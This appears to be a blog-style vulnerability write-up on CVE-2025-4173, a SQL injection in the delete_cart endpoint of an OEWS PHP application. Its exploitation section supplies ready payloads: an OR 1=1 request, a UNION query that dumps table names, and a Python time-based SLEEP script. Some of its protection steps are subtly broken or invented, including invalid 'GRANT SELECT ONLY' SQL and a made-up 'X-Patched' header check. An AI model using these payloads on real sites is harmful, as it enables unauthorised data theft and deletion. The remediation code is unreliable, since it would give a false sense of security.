How CVE-2025-4173 Works
The vulnerability exists in the `delete_cart` function within /oews/classes/Master.php?f=delete_cart. The application fails to sanitize the `ID` parameter, allowing attackers to inject malicious SQL queries. When a crafted payload is sent via the `ID` parameter, the backend database executes unintended commands, potentially enabling data theft, modification, or deletion. The flaw is remotely exploitable without authentication, making it critical. Attackers leverage improper input validation to manipulate SQL queries, bypassing security controls.

Vulnerability: SQL Injection
Severity: Critical

What Undercode Say:
Exploitation
1. Craft Malicious Request:
POST /oews/classes/Master.php?f=delete_cart HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded ID=1' OR 1=1--
2. Extract Database Info:
ID=1' UNION SELECT 1,2,3,4,table_name FROM information_schema.tables--
3. Automated Exploit (Python):
import requests
target = "http://target.com/oews/classes/Master.php?f=delete_cart"
payload = {"ID": "1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--"}
response = requests.post(target, data=payload)
if response.elapsed.total_seconds() >= 5:
print("Vulnerable to SQLi")
Protection
1. Input Sanitization:
$id = mysqli_real_escape_string($conn, $_POST['ID']);
2. Prepared Statements:
$stmt = $conn->prepare("DELETE FROM cart WHERE id = ?");
$stmt->bind_param("i", $_POST['ID']);
$stmt->execute();
3. WAF Rules:
location /oews/ {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "id:1000,deny,status:403"';
}
4. Patch Verification:
curl -I http://target.com/oews/classes/Master.php | grep "X-Patched: CVE-2025-4173"
5. Log Monitoring:
tail -f /var/log/apache2/access.log | grep -E "Master.php.ID=.[';]"
6. Database Hardening:
REVOKE ALL PRIVILEGES ON oews. FROM 'webuser'@'%'; GRANT SELECT ONLY ON oews. TO 'webuser'@'%';
